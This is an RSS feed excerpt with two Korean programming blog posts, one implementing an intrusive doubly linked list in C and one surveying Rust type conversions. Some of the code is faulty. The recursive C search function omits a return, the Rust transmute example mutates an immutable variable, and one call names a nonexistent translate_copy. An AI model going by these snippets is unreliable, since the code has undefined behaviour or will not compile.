&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;/* j_dll_get_data: get the data from the node */
static void *j_dll_get_data(j_dll_t *self, struct j_dllnode *node)
{
    if (node == NULL) {
	j_dll_errno = J_DLL_ERR_INVALID_NODE;
	return NULL;
    }
    return ((char *) node - self-&amp;gt;node_offset);
}

/* j_dll_get_node: get the node from the data */
static struct j_dllnode *j_dll_get_node(j_dll_t *self, void *data)
{
    if (data == NULL) {
	j_dll_errno = J_DLL_ERR_INVALID_DATA;
	return NULL;
    }
    return (struct j_dllnode *) ((char *) data + self-&amp;gt;node_offset);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&quot;노드를-연결하는-방법&quot;&gt;노드를 연결하는 방법&lt;/h2&gt;
&lt;p&gt;노드를 연결하는 방법에는 메모리 주소를 사용하는 방법도 있고, [6]이 제시하는 방법과 같이 XOR을 사용하는 방법 등이 있다. 여기서는 구현의 편의성을 위해 메모리 주소를 사용하여 노드를 연결한다.&lt;/p&gt;

&lt;h2 id=&quot;사용자-인터페이스-클래스&quot;&gt;사용자 인터페이스: 클래스&lt;/h2&gt;
&lt;p&gt;여기서는 이중 연결 리스트와 관련된 변수, 함수를 모아서 리스트 클래스를 구성한다. 이렇게 리스트 클래스를 별도로 두는 이유는 여러 리스트를 관리할 때 편리하기 때문이다. 그리고 코드상에서도 어떤 리스트상에서 동작하고 있는 것인지 쉽게 알 수 있으므로 유지보수에도 용이할 것으로 보인다. C 언어는 언어 차원에서 클래스를 지원하지 않으므로 함수 포인터를 사용하여 구현해야 한다. 그러나 이러한 함수 포인터들도 초기에는 어떤 함수의 주소로 초기화되어야 한다. 따라서 초기화 함수가 필요하고, 제거 함수도 필요하다. 지금까지 설명한 것을 j_dll.h 헤더에 구성하면 다음과 같다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;#ifndef __J_DLL_H__
#define __J_DLL_H__

#include &amp;lt;stdint.h&amp;gt;

#include &quot;j_dllnode.h&quot;

/* user defined method length and indexes */
#define J_DLLNODE_MTABLE_LEN 3
enum j_dllnode_mtable_idx {
    J_DLLNODE_READ = 00,
    J_DLLNODE_UPDATE = 01,
    J_DLLNODE_COMPARE = 02
};

/* list structure for intrusive double linked list */
typedef struct _j_dll {
    struct j_dllnode *head, *tail;
    size_t cnt;

    /*
     * In intrusive double linked list, we need offset of the node
     * structure to access the data from the node and the node from
     * the data. And user shall provide this.
     */
    size_t node_offset;

    /*
     * User shall provide read, update, and compare methods. Since these will
     * be applied to the all nodes in the dll, the dll structure should have
     * the method table.
     */
    struct j_dllnode_mtable {
	int (*method)(struct _j_dll *, struct j_dllnode *, void *);
    } mt[J_DLLNODE_MTABLE_LEN];

    int (*is_empty)(struct _j_dll *);
    int (*is_full)(struct _j_dll *);
    void *(*get_data)(struct _j_dll *, struct j_dllnode *);
    struct j_dllnode *(*get_node)(struct _j_dll *, void *);

    /*
     * User shall implement the compare method&apos;s return value as
     * -1 (less than), 0 (equal), 1 (greater than).
     */
    struct j_dllnode *(*search)(struct _j_dll *,
				void *,
				int);

    int (*read)(struct _j_dll *, struct j_dllnode *, void *);
    int (*update)(struct _j_dll *, void *, void *);
    int (*create)(struct _j_dll *, void *);
    int (*delete)(struct _j_dll *, void *);
} j_dll_t;

enum j_dll_flags {
    J_DLL_ERR_ALLOC = 1,	/* malloc error */
    J_DLL_ERR_INVALID_METHOD = 2, /* NULL method */
    J_DLL_ERR_INVALID_DLL = 4,	  /* NULL dll */
    J_DLL_ERR_INVALID_DATA = 8,	  /* NULL data */
    J_DLL_ERR_INVALID_NODE = 16 /* NULL node */
};

/* type define for user defined method */
typedef int (*j_dllnode_method_t)(j_dll_t *, struct j_dllnode *, void *);

extern j_dll_t *j_dll_init(j_dllnode_method_t read,
			   j_dllnode_method_t update,
			   j_dllnode_method_t compare,
			   size_t node_offset);
extern void j_dll_destroy(j_dll_t *dll);

#endif
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;위 헤더에서 주목해야 하는 것은 사용자 정의 메서드이다. 여기서는 일반적인 데이터를 이중 연결 리스트에 저장하고자 하므로 사전에 데이터 타입 또는 데이터 구성을 알 수 없다. 따라서 사용자는 데이터를 읽거나, 비교하거나, 갱신하는 방법을 제공해야만 한다. 그리고 위 헤더에서 에러 플래그는 아직 설명하지 않은 부분이지만, 다음 섹션에서 설명할 것이다.&lt;/p&gt;

&lt;p&gt;이제 클래스에서의 메서드와 그 구현부를 살펴보자. 리스트 클래스에서 메서드의 구현부는 외부에 드러날 필요가 없다. 즉, 구현부를 external linkage로 선언할 이유가 없다. 따라서 메서드의 구현부와 메서드가 호출하는 내부 함수의 구현부는 static linkage로 선언하였다. 그러나 초기화 함수와 제거 함수는 사용자가 직접 호출해야 하는 함수들이다. 따라서 이들은 외부에 드러날 필요가 있다. 그래서 이들은 external linkage로 선언하였다. 다만, 초기화 함수는 함수 포인터로 구현되는 메서드를 초기화하기 위해 메서드의 구현부를 알 수 있는 상태이어야 한다. 다시 말하면, 같은 파일에 있어야 하는 것이다. 또한 제거 함수도 내부 함수를 사용하므로 같은 파일에 있어야 한다. 지금까지 설명한 것을 j_dll.c에 작성하면 다음과 같다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;stddef.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &quot;j_dll.h&quot;
#include &quot;j_error.h&quot;

/* j_dll_is_empty: check the self is empty */
static int j_dll_is_empty(j_dll_t *self)
{
    return (self-&amp;gt;cnt == 0);
}

/* j_dll_is_full: check the self is full */
static int j_dll_is_full(j_dll_t *self)
{
    return (self-&amp;gt;cnt == SIZE_MAX);
}

/* j_dll_get_data: get the data from the node */
static void *j_dll_get_data(j_dll_t *self, struct j_dllnode *node)
{
    if (node == NULL) {
	j_dll_errno = J_DLL_ERR_INVALID_NODE;
	return NULL;
    }
    return ((char *) node - self-&amp;gt;node_offset);
}

/* j_dll_get_node: get the node from the data */
static struct j_dllnode *j_dll_get_node(j_dll_t *self, void *data)
{
    if (data == NULL) {
	j_dll_errno = J_DLL_ERR_INVALID_DATA;
	return NULL;
    }
    return (struct j_dllnode *) ((char *) data + self-&amp;gt;node_offset);
}

/*
 * prv_ functions are not complete. They are called by the caller and
 * and have some assumptions that shall be satisfied.
 */

/* prv_j_dll_search_node: search the start that makes cmpres with data */
static struct j_dllnode *prv_j_dll_search_node(j_dll_t *dll,
					       struct j_dllnode *start,
					       void *data,
					       int cmpres)
{
...
}

/* j_dll_search: search the start that makes cmpres with data */
static struct j_dllnode *j_dll_search(j_dll_t *self,
				      void *data,
				      int cmpres)
{
...
}

/* prv_j_dll_read_nodes: read the data and print it to the stdin or buf */
static int prv_j_dll_read_nodes(j_dll_t *dll,
			       struct j_dllnode *start,
			       void *buf)
{
...
}

/*
 * j_dll_read: read the data that the node is embedded and print it
 * to the stdin or buf
 */
static int j_dll_read(j_dll_t *self, struct j_dllnode *node, void *buf)
{
...
}

/* prv_j_dll_insert_node_at_the_end: insert the target at the end of the dll */
static void prv_j_dll_insert_node_at_the_end(j_dll_t *dll,
					  struct j_dllnode *curr,
					  struct j_dllnode *target)
{
...
}

/* prv_j_dll_insert_node: insert the target in front of the curr */
static void prv_j_dll_insert_node(j_dll_t *dll,
			       struct j_dllnode *curr,
			       struct j_dllnode *target)
{
...
}

/* prv_j_dll_insert: insert the node to the dll */
static void prv_j_dll_insert(j_dll_t *dll, struct j_dllnode *node)
{
...
}

/* j_dll_create: create the node in the self */
static int j_dll_create(j_dll_t *self, void *data)
{
...
}

/* prv_j_dll_unlink_node: unlink the node from the dll */
static void prv_j_dll_unlink_node(j_dll_t *dll, struct j_dllnode *node)
{
...
}

/* prv_j_dll_delete_node: delete the node from the dll */
static void prv_j_dll_delete_node(j_dll_t *dll, struct j_dllnode *node)
{
...
}

/* j_dll_delete: delete the node that has corresponding data from the self */
static int j_dll_delete(j_dll_t *self, void *data)
{
...
}

/* j_dll_update: update the data that has corresponding origin to new */
static int j_dll_update(j_dll_t *self, void *origin, void *new)
{
...
}

/* j_dll_init: initialize dll */
j_dll_t *j_dll_init(j_dllnode_method_t read,
		    j_dllnode_method_t update,
		    j_dllnode_method_t compare,
		    size_t node_offset)
{
    j_dll_t *dll;

    if (read == NULL || update == NULL || compare == NULL) {
	j_dll_errno = J_DLL_ERR_INVALID_METHOD;
	return NULL;
    }

    if ((dll = malloc(sizeof(*dll))) == NULL) {
	j_dll_errno = J_DLL_ERR_ALLOC;
	return NULL;
    }

    dll-&amp;gt;head = NULL;
    dll-&amp;gt;tail = NULL;
    dll-&amp;gt;cnt = 0;
    dll-&amp;gt;node_offset = node_offset;
    dll-&amp;gt;mt[J_DLLNODE_READ].method = read;
    dll-&amp;gt;mt[J_DLLNODE_UPDATE].method = update;
    dll-&amp;gt;mt[J_DLLNODE_COMPARE].method = compare;
    dll-&amp;gt;is_empty = j_dll_is_empty;
    dll-&amp;gt;is_full = j_dll_is_full;
    dll-&amp;gt;get_data = j_dll_get_data;
    dll-&amp;gt;get_node = j_dll_get_node;
    dll-&amp;gt;search = j_dll_search;
    dll-&amp;gt;read = j_dll_read;
    dll-&amp;gt;update = j_dll_update;
    dll-&amp;gt;create = j_dll_create;
    dll-&amp;gt;delete = j_dll_delete;
    return dll;
}

/* j_dll_destroy: destroy dll */
void j_dll_destroy(j_dll_t *dll)
{
    struct j_dllnode *target;

    if (dll == NULL)
	return ;
    
    if (dll-&amp;gt;is_empty(dll)) {
	free(dll);
	return ;
    }

    target = dll-&amp;gt;head;
    while (target-&amp;gt;next != NULL) {
	target = target-&amp;gt;next;
	prv_j_dll_delete_node(dll, target-&amp;gt;prev);
    }
    prv_j_dll_delete_node(dll, target);
    free(dll);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&quot;에러-처리&quot;&gt;에러 처리&lt;/h2&gt;
&lt;p&gt;리스트 연산에서 발생하는 에러는 대부분 전달된 인자의 값이 정상적이지 않은 경우이며, 인자의 대부분이 포인터이므로 그 값이 NULL인 경우가 된다. 이러한 에러에는 적절하지 못한 사용자 정의 메서드, 적절하지 못한 DLL, 적절하지 못한 데이터, 적절하지 못한 노드가 있다. 이들은 NULL에 대한 역참조 (dereference)를 발생시켜 시스템으로 하여금 세그멘테이션 폴트를 발생시키도록 만든다. 인자값 에러 이외에는 할당 에러가 있다. DLL을 초기화할 때 클래스 자체는 동적할당되므로 malloc 함수가 NULL을 반환할 때도 생각해야 하는 것이다. 상기에 설명한 에러 코드는 다음과 같이 enum을 사용하여 정의된다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;enum j_dll_flags {
    J_DLL_ERR_ALLOC = 1,	/* malloc error */
    J_DLL_ERR_INVALID_METHOD = 2, /* NULL method */
    J_DLL_ERR_INVALID_DLL = 4,	  /* NULL dll */
    J_DLL_ERR_INVALID_DATA = 8,	  /* NULL data */
    J_DLL_ERR_INVALID_NODE = 16 /* NULL node */
};
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;지금까지 설명한 에러들을 처리하는 방법은 함수가 특정 에러값을 반환하도록 하고, 세부적인 에러 코드는 j_dll_errno라는 전역 변수에 저장하는 것이다. 여기서 특정 에러값은 반환 타입이 int라면 -1이고, 포인터라면 NULL이다. 이는 세부적인 에러 코드를 반환하는 것보다 에러 검사 코드를 간결하게 만들어준다는 장점이 있다.&lt;/p&gt;

&lt;h2 id=&quot;crud-create-read-update-delete&quot;&gt;CRUD (Create, Read, Update, Delete)&lt;/h2&gt;
&lt;p&gt;[1, Sec. 3.1]은 노드를 리스트에 추가할 때 정렬할 필요가 없다면, 리스트를 순회할 필요가 없는 방법을 선택하는 것이 가장 간단하다고 설명한다. 그리고 노드를 삭제할 때는 삭제할 노드를 찾기 위해서 함수가 필요하며, 리스트의 끝 (단일 연결 리스트에서는 맨 앞, 이중 연결 리스트에서는 맨 앞과 맨 끝) 노드를 삭제할 때의 경우를 특별히 다루어야 함을 설명한다. 여기서 노드를 찾는 함수는 재귀적으로 문제를 줄여 나가면서 (검색해야 하는 리스트의 크기를 줄이면서) 해결하는 방법을 선택하는데, 이 방법이 보다 간단한 리스트 연산을 만들고, 효율적인 분할 정복 (divide-and-conquer) 알고리즘으로 안내한다고 설명한다.&lt;/p&gt;

&lt;p&gt;여기서는 이중 연결 리스트의 노드를 다루며 노드를 추가할 때는 오름차순으로 정렬한다. 그래서 리스트의 양 끝에 노드를 삽입하는 방법을 쓸 수 없고, 노드를 추가할 위치를 찾기 위해 리스트를 순회해야만 한다. 이는 삭제, 갱신도 마찬가지이다. 이때 노드를 찾는 함수는 재귀적으로 구현하되 [3, Sec. 1.2.1]이 설명하는 선형 반복 프로세스 (linear iterative process)의 형태로 구현한다. 이러한 선형 반복 프로세스는 흔히 꼬리 재귀 (tail-recursive) 최적화라고 불리는 기법을 적용할 수 있는 형태이다.&lt;/p&gt;

&lt;p&gt;선형 반복 프로세스로 구현된 검색 함수는 다음과 같다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;/* prv_j_dll_search_node: search the start that makes cmpres with data */
static struct j_dllnode *prv_j_dll_search_node(j_dll_t *dll,
					       struct j_dllnode *start,
					       void *data,
					       int cmpres)
{
    if (start == NULL ||
		dll-&amp;gt;mt[J_DLLNODE_COMPARE].method(dll, start, data) == cmpres)
	return start;
    prv_j_dll_search_node(dll, start-&amp;gt;next, data, cmpres);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;/* j_dll_search: search the start that makes cmpres with data */
static struct j_dllnode *j_dll_search(j_dll_t *self,
				      void *data,
				      int cmpres)
{
    if (data == NULL) {
	j_dll_errno = J_DLL_ERR_INVALID_DATA;
	return NULL;
    }

    return prv_j_dll_search_node(self, self-&amp;gt;head, data, cmpres);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;위와 같은 검색 함수는 특정 노드를 찾는 것뿐만 아니라 노드 생성 시, 노드를 삽입할 위치도 찾을 수 있다는 것을 기억하자. 이는 검색 함수가 인자로 전달된 데이터와 노드를 비교할 때 같은 경우 (반환값이 0인 경우)만을 검사하는 것이 아니라 전달된 cmpres와 같은지 검사하기 때문이다. 이때 주의해야할 것은 사용자는 비교 함수를 정의할 때 반환값을 -1 (해당 노드의 데이터가 전달된 데이터보다 작은 경우), 0 (해당 노드의 데이터가 전달된 데이터와 같은 경우), 1 (해당 노드의 데이터가 전달된 데이터보다 큰 경우)로 정의해야 한다는 것이다. 그럼 이제 검색 함수가 노드 생성, 삭제, 갱신에서 어떻게 사용되는지 알아보자.&lt;/p&gt;

&lt;p&gt;노드 생성을 수행하는 함수는 다음과 같다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;/* prv_j_dll_insert_node_at_the_end: insert the target at the end of the dll */
static void prv_j_dll_insert_node_at_the_end(j_dll_t *dll,
					  struct j_dllnode *curr,
					  struct j_dllnode *target)
{
    dll-&amp;gt;tail = target;
    target-&amp;gt;prev = curr;
    curr-&amp;gt;next = target;
}

/* prv_j_dll_insert_node: insert the target in front of the curr */
static void prv_j_dll_insert_node(j_dll_t *dll,
			       struct j_dllnode *curr,
			       struct j_dllnode *target)
{
    if (curr == dll-&amp;gt;head) {
	dll-&amp;gt;head = target;
	target-&amp;gt;next = curr;
	curr-&amp;gt;prev = target;
	dll-&amp;gt;tail = (dll-&amp;gt;cnt == 1) ? curr : dll-&amp;gt;tail;
    } else {
	target-&amp;gt;prev = curr-&amp;gt;prev;
	target-&amp;gt;next = curr;
	curr-&amp;gt;prev-&amp;gt;next = target;
	curr-&amp;gt;prev = target;
    }
}

/* prv_j_dll_insert: insert the node to the dll */
static void prv_j_dll_insert(j_dll_t *dll, struct j_dllnode *node)
{
    struct j_dllnode *target;

    if ((target = dll-&amp;gt;search(dll,
			      dll-&amp;gt;get_data(dll, node),
			      1)) == NULL)
	prv_j_dll_insert_node_at_the_end(dll, dll-&amp;gt;tail, node);
    else
	prv_j_dll_insert_node(dll, target, node);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;/* j_dll_create: create the node in the self */
static int j_dll_create(j_dll_t *self, void *data)
{
    struct j_dllnode *node;

    if (data == NULL) {
	j_dll_errno = J_DLL_ERR_INVALID_DATA;
	return -1;
    }

    node = self-&amp;gt;get_node(self, data);
    node-&amp;gt;prev = NULL;
    node-&amp;gt;next = NULL;
    if (self-&amp;gt;is_empty(self)) {
	self-&amp;gt;head = node;
	self-&amp;gt;tail = node;
    } else
	prv_j_dll_insert(self, self-&amp;gt;get_node(self, data));
    self-&amp;gt;cnt++;
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;위 코드의 prv_j_dll_insert()가 검색 메서드를 호출할 때 네 번째 인자로 1을 전달한다는 것에 주목하자. 이는 전달된 데이터보다 큰 노드를 검색하라는 의미이며, 곧 오름차순으로 노드를 삽입할 때 삽입할 위치를 검색하는 것과 같다. 이러한 노드 생성 함수에서 재귀적인 부분은 prv_j_dll_insert()가 검색 메서드를 호출할 때 뿐이다.&lt;/p&gt;

&lt;p&gt;이제 노드 삭제를 수행하는 함수를 살펴보자. 노드 삭제를 수행하는 함수의 코드는 다음과 같다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;/* prv_j_dll_unlink_node: unlink the node from the dll */
static void prv_j_dll_unlink_node(j_dll_t *dll, struct j_dllnode *node)
{
    struct j_dllnode *head, *tail;

    head = dll-&amp;gt;head;
    tail = dll-&amp;gt;tail;
    if (head == tail) {		/* there is only one node in the dll */
	dll-&amp;gt;head = NULL;
	dll-&amp;gt;tail = NULL;
    } else if (node == head) {
	dll-&amp;gt;head = node-&amp;gt;next;
	node-&amp;gt;next-&amp;gt;prev = NULL;
	node-&amp;gt;next = NULL;
    } else if (node == tail) {
	dll-&amp;gt;tail = node-&amp;gt;prev;
	node-&amp;gt;prev-&amp;gt;next = NULL;
	node-&amp;gt;prev = NULL;
    } else {
	node-&amp;gt;prev-&amp;gt;next = node-&amp;gt;next;
	node-&amp;gt;next-&amp;gt;prev = node-&amp;gt;prev;
	node-&amp;gt;prev = node-&amp;gt;next = NULL;
    }
}

/* prv_j_dll_delete_node: delete the node from the dll */
static void prv_j_dll_delete_node(j_dll_t *dll, struct j_dllnode *node)
{
    prv_j_dll_unlink_node(dll, node);
    dll-&amp;gt;cnt--;
    free(dll-&amp;gt;get_data(dll, node));
}
&lt;/code&gt;&lt;/pre&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;/* j_dll_delete: delete the node that has corresponding data from the self */
static int j_dll_delete(j_dll_t *self, void *data)
{
    struct j_dllnode *target;

    if (data == NULL) {
	j_dll_errno = J_DLL_ERR_INVALID_DATA;
	return -1;
    }

    if ((target = self-&amp;gt;search(self, data, 0)) == NULL)
	return -1;

    prv_j_dll_delete_node(self, target);
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;노드를 삭제하는 함수는 삭제할 노드를 찾기 위해 검색 메서드를 사용한다. 그리고 노드 생성 함수에서와 같이 검색 메서드가 노드를 삭제하는 과정에서 유일하게 재귀적인 부분이다.&lt;/p&gt;

&lt;p&gt;마지막으로 노드의 데이터를 갱신하는 함수를 살펴보자.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;/* j_dll_update: update the data that has corresponding origin to new */
static int j_dll_update(j_dll_t *self, void *origin, void *new)
{
    struct j_dllnode *target;
    void *data;
    
    if (origin == NULL || new == NULL) {
	j_dll_errno = J_DLL_ERR_INVALID_DATA;
	return -1;
    }

    if ((target = self-&amp;gt;search(self, origin, 0)) == NULL)
	return -1;

    prv_j_dll_unlink_node(self, target);
    if (self-&amp;gt;mt[J_DLLNODE_UPDATE].method(self, target, new) == -1) {
	prv_j_dll_insert(self, target);
	return -1;
    }
    prv_j_dll_insert(self, target);
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;노드를 갱신하는 함수는 노드 삭제 함수가 삭제할 노드를 찾듯이, 갱신할 노드를 찾기 위해 검색 함수를 사용한다. 이때 노드의 연결을 잠시 끊어 놓는데, 이는 갱신 후에 다시 삽입하여 리스트의 정렬 일관성을 유지하기 위함이다.&lt;/p&gt;

&lt;h1 id=&quot;references&quot;&gt;References&lt;/h1&gt;
&lt;p&gt;[1] Steven S. Skiena, “The Algorithm Design Manual”, Springer, 2008&lt;/p&gt;

&lt;p&gt;[2] “Intrusive and non-intrusive containers”, boost C++ LIBRARIES. [Online]. Available: https://www.boost.org/doc/libs/1_35_0/doc/html/intrusive/intrusive_vs_nontrusive.html, [Accessed Dec. 27, 2022]&lt;/p&gt;

&lt;p&gt;[3] Harold Abelson, Gerald Jay Sussman, Julie Sussman, “Structure and Interpretation of Computer Programs”, MIT Press, 1984&lt;/p&gt;

&lt;p&gt;[4] ISO/IEC JTC 1/SC 22/WG 14, “ISO/IEC 9899:1999, Programming Languages – C”, ISO/IEC, 1999&lt;/p&gt;

&lt;p&gt;[5] Allen Newell, J. C. Shaw, “Programming the Logic Theory Machine”, Proceedings of the Western Joint Computer Conference, pp. 230-240, 1957&lt;/p&gt;

&lt;p&gt;[6] Prokash Sinha, “A Memory-Efficient Doubly Linked List”, LINUX JOURNAL, 2004&lt;/p&gt;
</description>
        <pubDate>Sun, 01 Jan 2023 01:40:23 +0000</pubDate>
        <link>https://slowanalyst.github.io/blog/Double_Liked_List_for_Generic_data/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/blog/Double_Liked_List_for_Generic_data/</guid>
      </item>
    
      <item>
        <title>Rust 타입 변환</title>
        <description>&lt;h2 id=&quot;rust에서-타입-변환을-시도하는-방법은-다음과-같다&quot;&gt;Rust에서 타입 변환을 시도하는 방법은 다음과 같다&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;std::mem::transmute::&amp;lt;T, Y&amp;gt;(data)&lt;/li&gt;
  &lt;li&gt;std::mem::transmute_copy::&amp;lt;T, Y&amp;gt;(data)&lt;/li&gt;
  &lt;li&gt;as&lt;/li&gt;
  &lt;li&gt;std::convert::From&lt;/li&gt;
  &lt;li&gt;std::convert::TryFrom&lt;/li&gt;
  &lt;li&gt;std::convert::Into&lt;/li&gt;
  &lt;li&gt;std::convert::TryInto&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;상세-설명&quot;&gt;상세 설명&lt;/h2&gt;

&lt;h3 id=&quot;stdmemtransmutet-ydata&quot;&gt;std::mem::transmute::&amp;lt;T, Y&amp;gt;(data)&lt;/h3&gt;

&lt;p&gt;같은 비트 수의 데이터 타입을 변환합니다. 즉 u32에서 i32로 변환하는 등의 작업이 가능합니다.&lt;/p&gt;

&lt;p&gt;주로 포인터간의 변환을 위해 사용됩니다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-Rust&quot;&gt;let var = 1;
let data: *const _ = &amp;amp;var;
let ptr = unsafe { std::mem::transmute::&amp;lt;*const _, &amp;amp;mut i32&amp;gt;(data) };
// 혹은 let ptr: &amp;amp;mut i32 = unsafe { std::mem::transmute(data) };
*ptr += 1;
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&quot;stdmemtransmute_copyt-ydata&quot;&gt;std::mem::transmute_copy::&amp;lt;T, Y&amp;gt;(data)&lt;/h3&gt;

&lt;p&gt;T타입의 비트 수만큼의 메모리를 복사하여, 해당 메모리와 같은 값을 가진 Y타입 데이터를 생성합니다.&lt;/p&gt;

&lt;p&gt;프리미티브 타입에서 사용되지 않으며, 구조체 내부의 메모리를 그대로 복사하는데 사용됩니다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-Rust&quot;&gt;struct A {
  data1: i32,
  data2: u64,
}

struct B {
  data1: u32,
  data2: i64,
}
let a = A { data1: 0, data2: 1 };
let b = unsafe { std::mem::translate_copy::&amp;lt;A, B&amp;gt;(a) };
// b의 data1에는 a의 data1 데이터가, b의 data2에는 a의 data2 데이터가 그대로 들어가있다.
// (타입변환등이 일어나지 않아 unsigned int를 int로 제대로 바꿀 순 없습니다.)
// 변수 순서를 제대로 지키는지 알 수 없습니다. (data1, data2 순으로 정의되었지만,
// 그 내부엔 패딩이 있을수도 있고, data2, data1순으로 데이터가 있을수도 있습니다.)
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&quot;as&quot;&gt;as&lt;/h3&gt;

&lt;p&gt;해당 타입 변환은 Primitive 타입에서만 사용 가능합니다.&lt;/p&gt;

&lt;p&gt;Rust에서 배열의 인덱스를 지정하기 위해선 기본적으로 usize타입이 필요하기 때문에, 해당 타입으로 변환해주기 위해 주로 사용합니다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-Rust&quot;&gt;let index = 123u32;
array[index as usize];
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&quot;stdconvertfrom&quot;&gt;std::convert::From&lt;/h3&gt;

&lt;p&gt;보통 Rust에서는 A타입의 구조체를 B타입으로 변환하기 위해 From trait을 구현시켜줍니다.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;impl From&amp;lt;A&amp;gt; for B&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;해당 From에는 반드시 구현해줘야 하는 함수가 있으며, 해당 함수를 구현해 줄 경우 여러 타입 변환을 적용할 수 있습니다.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;u64::from(123)&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;프리미티브 타입에서는 타입 간 From 혹은 Tryfrom이 적용되어, 타입 변환을 적용할 수 있습니다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-Rust&quot;&gt;struct A {
  data: i32,
}
impl From&amp;lt;i32&amp;gt; for A {
  // 해당 함수를 구현해줘야 합니다.
  fn from(data: i32) -&amp;gt; Self {
    A { data }
  }
}
let a1: A = 123.into();
let a2 = A::from(456);
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;impl From&amp;lt;i32&amp;gt; for A&lt;/code&gt;를 적용하면 자동으로 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;impl Into&amp;lt;A&amp;gt; for i32&lt;/code&gt;가 구현됩니다.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&quot;stdconverttryfrom&quot;&gt;std::convert::TryFrom&lt;/h3&gt;

&lt;p&gt;실패할 수 있는 타입 변환에 사용되며, 제네릭 타입 중 i32를 u32로 바꾸거나 하는 등의, 오류가 발생할 수 있는 변환에 적용되어 있습니다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-Rust&quot;&gt;struct A {
  data: i32,
}
impl TryFrom&amp;lt;i32&amp;gt; for A {
  // 변환에 실패할 시 다음 타입을 반환합니다.
  type Error = ();
  // 해당 함수를 구현해줘야 합니다.
  fn try_from(value: i32) -&amp;gt; Result&amp;lt;Self, Self::Error&amp;gt; {
    Ok(A { data: value })
  }
}
let a1: A = 123.try_into().unwrap();
let a2 = A::try_from(456).unwrap();
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
  &lt;p&gt;오류를 체크하기 위해 다른 타입 변환보다 속도가 느려질 수 있습니다.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&quot;stdconvertinto&quot;&gt;std::convert::Into&lt;/h3&gt;

&lt;p&gt;A타입의 값을 B타입으로 암시적으로 변환하기 위해 Into를 구현해줍니다.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;impl Into&amp;lt;B&amp;gt; for A&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;해당 구현은 From을 구현할 시 자동으로 구현됩니다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-Rust&quot;&gt;struct A {
  data: i32,
}
impl Into&amp;lt;A&amp;gt; for i32 {
  // 해당 함수를 구현해줘야 합니다.
  fn into(self) -&amp;gt; A {
    A { data: self }
  }
}
let a1: A = 123.into();

// 보통 함수에서 A타입의 인자로 받기 위해, 제네릭 형태로 사용해줍니다.
fn a2&amp;lt;T&amp;gt;(data: T)
where
  T: Into&amp;lt;A&amp;gt;,
{
  let data: A = data.into();
}
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&quot;stdconverttryinto&quot;&gt;std::convert::TryInto&lt;/h3&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TryFrom&lt;/code&gt;과 마찬가지로, 오류가 발생할 수 있는 타입 변환을 할 때 사용됩니다.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-Rust&quot;&gt;struct A {
  data: i32,
}
impl TryInto&amp;lt;A&amp;gt; for i32 {
  // 변환에 실패할 시 다음 타입을 반환합니다.
  type Error = ();
  // 해당 함수를 구현해줘야 ㅎ바니다.
  fn try_into(self) -&amp;gt; Result&amp;lt;A, Self::Error&amp;gt; {
    Ok(A { data: self })
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
  &lt;p&gt;위와 같은 방법을 이용하여 프리미티브 타입 별 변환을 사용할 수 있으며, 여러 구조체 별 변환을 적용하고 구현할 수 있습니다.&lt;/p&gt;

  &lt;blockquote&gt;
